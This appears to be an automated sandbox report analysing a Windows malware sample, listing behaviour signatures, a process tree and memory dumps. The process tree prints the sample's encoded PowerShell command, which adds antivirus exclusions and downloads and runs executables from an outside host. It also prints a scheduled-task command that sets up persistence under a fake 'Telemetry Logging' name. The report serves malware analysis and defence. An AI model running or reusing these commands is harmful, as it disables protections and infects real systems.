Analysis
- max time kernel
111s - max time network
152s - platform
windows10-2004_x64 - resource
win10v2004-20221111-en - resource tags
- submitted
30/01/2023, 19:07
General
- Target b405694fbedc3ed57f486a0bd892fb48b2917d49.exe
- Size 360KB
- Sample230130-xsrzdadd4y
- SHA256 c332e200a4050d2b0e7cb33ddbed8e8cd6caff60653cb30a1f76bec08031cbbe
Malware Config
Signatures
- Blocklisted process makes network request 4 IoCs
- Downloads MZ/PE file
- Executes dropped EXE 1 IoCs
- Uses the VBS compiler for execution 1 TTPs
- Suspicious use of SetThreadContext 1 IoCs
- Program crash 1 IoCs
- Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 12 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 14 IoCs
Processes
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C:\Users\Admin\AppData\Local\Temp\b405694fbedc3ed57f486a0bd892fb48b2917d49.exe"C:\Users\Admin\AppData\Local\Temp\b405694fbedc3ed57f486a0bd892fb48b2917d49.exe"1⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAG4AYwBjACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAeAB5AHEAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAdQB0AGMAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAYgBlAGsAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBuAGUAdwAyAC4AZQB4AGUAJwAsACAAPAAjAGwAbQBxACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAcgBoAHMAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAdAB2AGQAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQApADwAIwBiAGMAagAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAOgAvAC8AYwBvAG4AbgBlAGMAdAAyAG0AZQAuAGgAbwBwAHQAbwAuAG8AcgBnAC8AdwBvAHcALwAxAC8AMgAvADMALwA0AC8ANQAvADYALwA3AC8AQwA0AEwAbwBhAGQAZQByAC4AZQB4AGUAJwAsACAAPAAjAHMAbQBpACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAeAB5AGYAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAdABqAHoAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAQwA0AEwAbwBhAGQAZQByAC4AZQB4AGUAJwApACkAPAAjAHIAegB1ACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBTAG0AYQByAHQARABlAGYAUgB1AG4ALgBlAHgAZQAnACwAIAA8ACMAdAB1AGwAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBjAGwAbgAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwB0AGQAawAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBTAG0AYQByAHQARABlAGYAUgB1AG4ALgBlAHgAZQAnACkAKQA8ACMAcAB4AHgAIwA+ADsAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAFMAeQBzAEEAcABwAC4AZQB4AGUAJwAsACAAPAAjAGQAawBjACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAcQBkAGQAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAdwB5AHoAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAUwB5AHMAQQBwAHAALgBlAHgAZQAnACkAKQA8ACMAZgBmAHgAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAYwBuAHEAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHkAdwBwACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAG4AZQB3ADIALgBlAHgAZQAnACkAPAAjAHcAaABrACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAHkAagB0ACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBhAHgAagAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBDADQATABvAGEAZABlAHIALgBlAHgAZQAnACkAPAAjAHIAawBrACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAGEAdQB6ACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBnAHUAaQAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBTAG0AYQByAHQARABlAGYAUgB1AG4ALgBlAHgAZQAnACkAPAAjAG0AegBrACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAGEAegB0ACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwB3AHUAbAAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBTAHkAcwBBAHAAcAAuAGUAeABlACcAKQA8ACMAcwBhAGcAIwA+AA=="3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Local\Temp\SysApp.exe"C:\Users\Admin\AppData\Local\Temp\SysApp.exe"4⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\schtasks.exe/C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\TelemetryServices\fodhelper.exe"5⤵
- Creates scheduled task(s)
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 764 -s 2682⤵
- Program crash
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 476 -p 764 -ip 7641⤵
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
SysApp.exe
SysApp.exe
memory/1288-152-0x0000000007390000-0x000000000739E000-memory.dmp
memory/1288-154-0x00000000073D0000-0x00000000073D8000-memory.dmp
memory/1288-140-0x0000000004FA0000-0x00000000055C8000-memory.dmp
memory/1288-141-0x00000000055D0000-0x00000000055F2000-memory.dmp
memory/1288-142-0x0000000005770000-0x00000000057D6000-memory.dmp
memory/1288-143-0x00000000057E0000-0x0000000005846000-memory.dmp
memory/1288-144-0x0000000005E40000-0x0000000005E5E000-memory.dmp
memory/1288-145-0x0000000007000000-0x0000000007032000-memory.dmp
memory/1288-146-0x0000000070670000-0x00000000706BC000-memory.dmp
memory/1288-147-0x0000000006400000-0x000000000641E000-memory.dmp
memory/1288-148-0x00000000077A0000-0x0000000007E1A000-memory.dmp
memory/1288-149-0x0000000007160000-0x000000000717A000-memory.dmp
memory/1288-150-0x00000000071D0000-0x00000000071DA000-memory.dmp
memory/1288-151-0x0000000007420000-0x00000000074B6000-memory.dmp
memory/1288-139-0x0000000002850000-0x0000000002886000-memory.dmp
memory/1288-156-0x00000000083D0000-0x0000000008974000-memory.dmp
memory/1288-155-0x00000000074F0000-0x0000000007512000-memory.dmp
memory/1288-153-0x00000000073E0000-0x00000000073FA000-memory.dmp
memory/3492-133-0x0000000000530000-0x0000000000538000-memory.dmp
memory/4892-160-0x00000000021DA000-0x00000000026DE000-memory.dmp
memory/4892-161-0x00000000026EC000-0x0000000002829000-memory.dmp
memory/4892-162-0x00000000021DA000-0x00000000026DE000-memory.dmp
memory/4892-163-0x00000000026EC000-0x0000000002829000-memory.dmp
memory/4892-164-0x000000000CA30000-0x000000000CA87000-memory.dmp
memory/4892-165-0x000000000CA30000-0x000000000CA87000-memory.dmp
memory/4892-166-0x000000000CA20000-0x000000000CA26000-memory.dmp
memory/4892-169-0x00000000026EC000-0x0000000002829000-memory.dmp